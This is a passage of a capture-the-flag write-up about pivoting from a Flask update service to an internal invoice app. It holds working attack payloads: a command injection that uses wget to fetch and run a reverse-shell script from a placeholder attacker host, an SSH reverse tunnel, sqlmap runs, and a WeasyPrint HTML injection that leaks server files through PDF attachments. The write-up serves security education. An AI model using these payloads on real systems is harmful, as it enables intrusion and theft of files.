session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0\n```\n\nPython:\n```python\ndef queueRequests(target, wordlists):\n    engine = RequestEngine(endpoint=target.endpoint,\n                           concurrentConnections=20,\n                           requestsPerConnection=40,\n                           pipeline=False\n                           )\n...\t\t\t   \n    for word in open('C:\\\\wordlists\\\\backslash-powered-scanner-params.txt'):\n        engine.queue(target.req, word.strip() + '=turbo.d.mydomain.com.br')\n...\t\ndef handleResponse(req, interesting):\n    table.add(req)\n```\n\nNote that I just set the parameter value to `turbo.d.mydomain.com.br` which if resolved it will also be logged in my DNS. After this, I just sorted the result columns by status code, which showed me `500` for parameter `port`. Nice, we are now able to set the port. Next idea is to try changing the port to all values from 0-65535 and detect another service. Using Turbo Intruder it was easy:\n\n```python\n...\n    for x in range(0,65536):\n        engine.queue(target.req, x)\n```\n\nBut nothing different. Let's try some injection, setting the port to `password@myserver.com:80` could lead to `http://update.flitethermostat:password@myserver.com:80/` and thus achieving a SSRF to `myserver.com`. But it didn't happen, the server returned error 500. Port was an integer parameter. Time to breath...\n\n#### JWT\n\nAfter logged in a session cookie is assigned which appears to be a flask JWT. jwt.io defines: `JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.` It also says that `JSON Web Tokens consist of three parts separated by dots (.), which are: Header.Payload.Signature .... this JSON is Base64Url encoded....`.\n\nBase64 decoded the first part:\n```\n# session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0\n# eyJsb2dnZWRJbiI6dHJ1ZX0\n# echo -n 'eyJsb2dnZWRJbiI6dHJ1ZX0='  | base64 -d\n{\"loggedIn\":true}\n```\n\nThere is only a `loggedIn` attribute... Nevertheless I decided to extend `https://github.com/noraj/flask-session-cookie-manager`  and create a brute force to `app.secret_key` which is used to sign JWT in a flask app.\n\n```python\n...\nparser_brute = subparsers.add_parser('brute', help='brute')\nparser_brute.add_argument('-p', '--payload', metavar='\u003cstring\u003e',\n                            help='Cookie value', required=True)\nparser_brute.add_argument('-w', '--wordlist', metavar='\u003cstring\u003e',\n                            help='Wordlist', required=True)\n...\ndef bruteforce(payl, wordl):   \n    f = open(wordl, 'r')\n    for line in f:\n        s = session_cookie_decoder(payl,line.strip())\n        print(line.strip() +'  '+ s)\n        if 'error' not in s:\n            print(line.strip + ' \u003c\u003c\u003c\u003c----- KEY')\n            return\n...\n```\n\nDead end!\n\n#### _\n\nI was forgetting something:\n\n![Hint](images/hint.png)\n\nCody is the creator of the CTF. Could this be a hint? I really didn't know. But that made me try parameters with `_`:\n```\nupdate_server=test\nserver_host=test\nhost_server=test\nupdate_host=test\n```\n\nSuddenly, I got `Connecting to http://test:5000/ and downloading update manifest`!! Yeah! So I was able to change the hostname and so do a SSRF... No, No. None of my attempts triggered a http request. What about a command injection? Using backticks (\\`) I was able to inject a sleep command. Success, let's do a reverse shell:\n\n```\nGET /update?port=80\u0026update_host=localhos`wget+http://X.X.X.X:666/shell.py+-O+/tmp/.shell.py;python+/tmp/.shell.py;rm+-rf+/tmp/.shell.py`t HTTP/1.1\nHost: 104.196.12.98\nCookie: session=eyJsb2dnZWRJbiI6dHJ1ZX0.XIHPog.46NKzPROJLINKkYDyQpOQI27JD0\n```\n\nWe are inside! Where is the flag?\n\n## Internal Server (172.28.0.3) - Invoice App\n\nThere were no flags! Doing an initial recon I noticed that I was in a docker container. And the first thing that came to my mind was CVE-2019-5736, a docker container escape to host. But I decided to look more, initially by checking the app source code at `/app/main.py` to see if there were other containers on the same network. What a surprise when I found another server at `172.28.0.3` with port 80 open. Using curl I was able to see that it was another web app, something about Hackerone invoices! \n\n### Tunnel\n\nTo make my life easier and to not leak what I was doing I decided to make an SSH tunnel to my server with port forwarding:\n\n```bash\npython -c 'import pty;pty.spawn(\"/bin/bash\")'\nssh -fN  -o StrictHostKeyChecking=no -o PreferredAuthentications=password -o PubkeyAuthentication=no -R *:81:172.28.0.3:80 root@X.X.X.X -p 32777\n```\n\nThe above SSH command will forward all connection to local port 81 on X.X.X.X to 172.28.0.3:80. So from this moment on, I could use all my local exploits using localhost:81 as the target. \n\n### Login\n\nBrowsing the web app the first thing we could see is a login form. And again my first shot was a SQL Injection, which made no sense at all. Using only a backtick would fire an exception, but I could not build a valid query. Also tried SQLMap:\n\n```bash\n# python sqlmap.py -u http://localhost:81/auth --data \"username=admin\u0026password=admin\" --level=5 --risk=3\n```\n\nI also tried XPATH injection, LDAP injection and NoSQL injection. Nothing worked. Let's move on.\n\n### New Invoice\n\nWe were also able to create invoices at `/invoices/new`. All the logic was inside `newInvoice.js`:\n\n```javascript\nfunction preview() {\n        // kTHJ9QYJY5597pY7uLEQCv9xEbpk41BDeRy82yzx24VggvcViiCuXqXvF11TPusmb5TucH\n        //  5MmCWZhKJD29KVGZLrB6hBbLkRPn8o6H5bF73SgHyR3BdmoVJ9hWvtHfD3NNz6rBsLqV9\n        var p = encodeInvoice();\n        var url = 'http://' + window.location.hostname + '/invoices/preview?d=' + encodeURIComponent(p);\n        url = url.replace(/[\\u00A0-\\u9999\u003c\u003e\\\u0026]/gim, function(i) { return '\u0026#'+i.charCodeAt(0)+';'; });\n        $('#iframe-box').empty();\n        $('#iframe-box').append($('\u003ciframe width=\"100%\" height=\"500px\" src=\"' + url + '\"\u003e\u003c/iframe\u003e'));\n}\n\nfunction savePDF() {\n        var p = encodeInvoice();\n        var url = 'http://' + window.location.hostname + '/invoices/pdfize?d=' + encodeURIComponent(p);\n        url = url.replace(/[\\u00A0-\\u9999\u003c\u003e\\\u0026]/gim, function(i) { return '\u0026#'+i.charCodeAt(0)+';'; });\n        var a = $('\u003ca download href=\"' + url + '\"\u003e\u003cspan\u003e\u003ci\u003eIf your download does not start, click here\u003c/i\u003e\u003c/span\u003e\u003c/a\u003e');\n        $('#iframe-box').append(a);\n        a.find('span').trigger('click');\n}\n```\n\nUsing `/invoice/preview` we get a html page with our invoice and using `/invoice/pdfize` we get a PDF with the same content. Analyzing the rest of the code I was able to send a valid request to both endpoints using curl:\n\n```bash\ncurl -gv 'http://localhost:81/invoices/preview?d={\"companyName\":\"Hackerone\",\"email\":\"aaa@hackerone.com\",\"invoiceNumber\":\"1\",\"date\":\"2019-03-08\",\"items\":[[\"1\",\"manoelt\",\"manoelt\",\"2\"],[\"1\",\"manoelt\",\"manoelt\",\"2\"],[\"1\",\"manoelt\",\"manoelt\",\"2\"]],\"styles\":{\"body\":{\"background-color\":\"white\"}}}'; echo;\n\ncurl -gv 'http://localhost:81/invoices/pdfize?d={\"companyName\":\"Hackerone\",\"email\":\"aaa@hackerone.com\",\"invoiceNumber\":\"1\",\"date\":\"2019-03-08\",\"items\":[[\"1\",\"manoelt\",\"manoelt\",\"22222\",\"2\"],[\"1\",\"manoelt\",\"manoelt\",\"2\"],[\"1\",\"manoelt\",\"manoelt\",\"2\"]],\"styles\":{\"body\":{\"background-color\":\"white\"}}}' -o invoice.pdf; echo;\n```\n\nOne of the first things that I try when attacking a python web application is Server Side Template Injection. Although we have several input options on the json above, none gave me a SSTI using `{{7*7}}` as payload. Also, what catches our attention is the permission to define styles for the web page, as we already know that using css we could leak information of a web page [17], but it does not seem to be useful here. But we could get some more recon information if we were able to trigger a HTTP request using `url()`: \n\n`...\"styles\":{\"body\":{\"background-image\":\"url('http://myserver.com.br/')\"...`. \n\nAnd I got a request on my server with this header: `User-Agent: WeasyPrint 44 (http://weasyprint.org/)`.\n\n### WeasyPrint\n\nWhat is WeasyPrint? From https://github.com/Kozea/WeasyPrint/ : _WeasyPrint is a smart solution helping web developers to create PDF documents. It turns simple HTML pages into gorgeous statistical reports, invoices, tickets…_. Ok, time to understand more this python library. \n\nReading the docs I saw this: _When used with untrusted HTML or untrusted CSS, WeasyPrint can meet security problems. You will need extra configuration in your Python application to avoid high memory use, endless renderings or local files leaks._. Nice! All we need to know now is how to exploit this flaw. Maybe someone opened an issue on github? It was not the case. But, I found this pull request:\n\n\"Added support for PDF attachments.\" (https://github.com/Kozea/WeasyPrint/pull/177).\n\nWhat an amazing feature! So, using `\u003clink rel='attachment' href='file_path'\u003e` WeasyPrint will attach the file from href location to the PDF. I am sure that it is all we need.\n\nLet's test all json attributes to inject HTML code. Nothing better than creating a python script to help us:\n\n```python\n...\nURL = 'http://localhost:81/invoices/'\n...\ndef pdfize(payl, filename):\n    r = requests.get(URL+PDFIZE, params=payload)\n    with open('invoices/'+filename, 'wb') as fd:\n        for chunk in r.iter_content(chunk_size=128):\n            fd.write(chunk)\n\ndef preview(payl):\n    r = requests.get(URL+PREVIEW, params=payload)\n    print(r.content)\n\ninvoice = {\"companyName\":\"\u003c/style\", \"email\":\"\u003c/style\", \"invoiceNumber\":\"1\", \"date\":\"\u003chtml\", \"\u003c\":\"\u003e\", \"items\":[[\"1\",\"manoelt\u003cscript\",\"manoelt\u003c/script\",\"2\"],[\"1\",\"manoelt\",\"manoelt\",\"2\"]],\"styles\":{\"body\":{\"}\u003c/style background-color\":\"white\"}}}\npayload = {\"d\" : json.dumps(invoice)}\npdfize(payload, \"style_invoice.pdf\")\npreview(payload)\n```\n\nAnd through only one attribute I was able to inject HTML: CSS property! But the backend was not allowing `\u003c/*\u003e`... And this tip from [18]: `You can use // to close a tag instead of \u003e.` made the final exploit:\n\n```python\n\ninvoice = {\"companyName\":\"\", \"email\":\"\", \"invoiceNumber\":\"1\", \"date\":\"html\", \"\u003c\":\"\u003e\", \"items\":[[\"1\",\"manoelt\",\"manoelt\",\"2\"],[\"1\",\"manoelt\",\"manoelt\",\"2\"]],\"styles\":{\"body\":{\"}\u003c/style//\u003cimg src='http://mydomain.com.br'\u003e\u003clink rel='attachment' href='file:///app/main.py'\u003e\u003cstyle\u003e body: {  background-color\":\"white\"}}}\npayload = {\"d\" : json.dumps(invoice)}\npdfize(payload, \"style_invoice.pdf\")\n```\n\nFinally I opened the PDF and there it was:\n\n![Leak](images/leak_file.png)\n\n```CONGRATULATIONS!\n\nIf you're reading this, you've made it to the end of the road for this CTF.\n```\n\nHERE IT IS: c8889970d9fb722066f31e804e351993\n\n\nCheck [Others](Others.md) for reports from other players.\n\n### References\n1. https://crackstation.net/hashing-security.htm\n2. https://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf\n3. https://github.com/skylot/jadx\n4. https://en.wikipedia.org/wiki/Symmetric-key_algorithm\n5. https://en.wikipedia.org/wiki/Binary_search_algorithm\n6. https://www.tcpdump.org/\n7. https://github.com/maurosoria/dirsearch\n8. https://github.com/danielmiessler/SecLists\n9. https://github.com/sqlmapproject/sqlmap\n10. https://en.wikipedia.org/wiki/Length_extension_attack\n11. https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks\n12. https://github.com/ffuf/ffuf\n13. https://github.com/digininja/CeWL\n14. https://www.python.org/dev/peps/pep-0515/\n15. https://github.com/PortSwigger/turbo-intruder\n16. https://github.com/noraj/flask-session-cookie-manager\n17. https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense\n18. https://github.com/s0md3v/AwesomeXSS\n","funding_links":[],"categories":["Others","CTFs"],"sub_categories":["API"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmanoelt%2F50M_CTF_Writeup","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmanoelt%2F50M_CTF_Writeup","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmanoelt%2F50M_CTF_Writeup/lists"}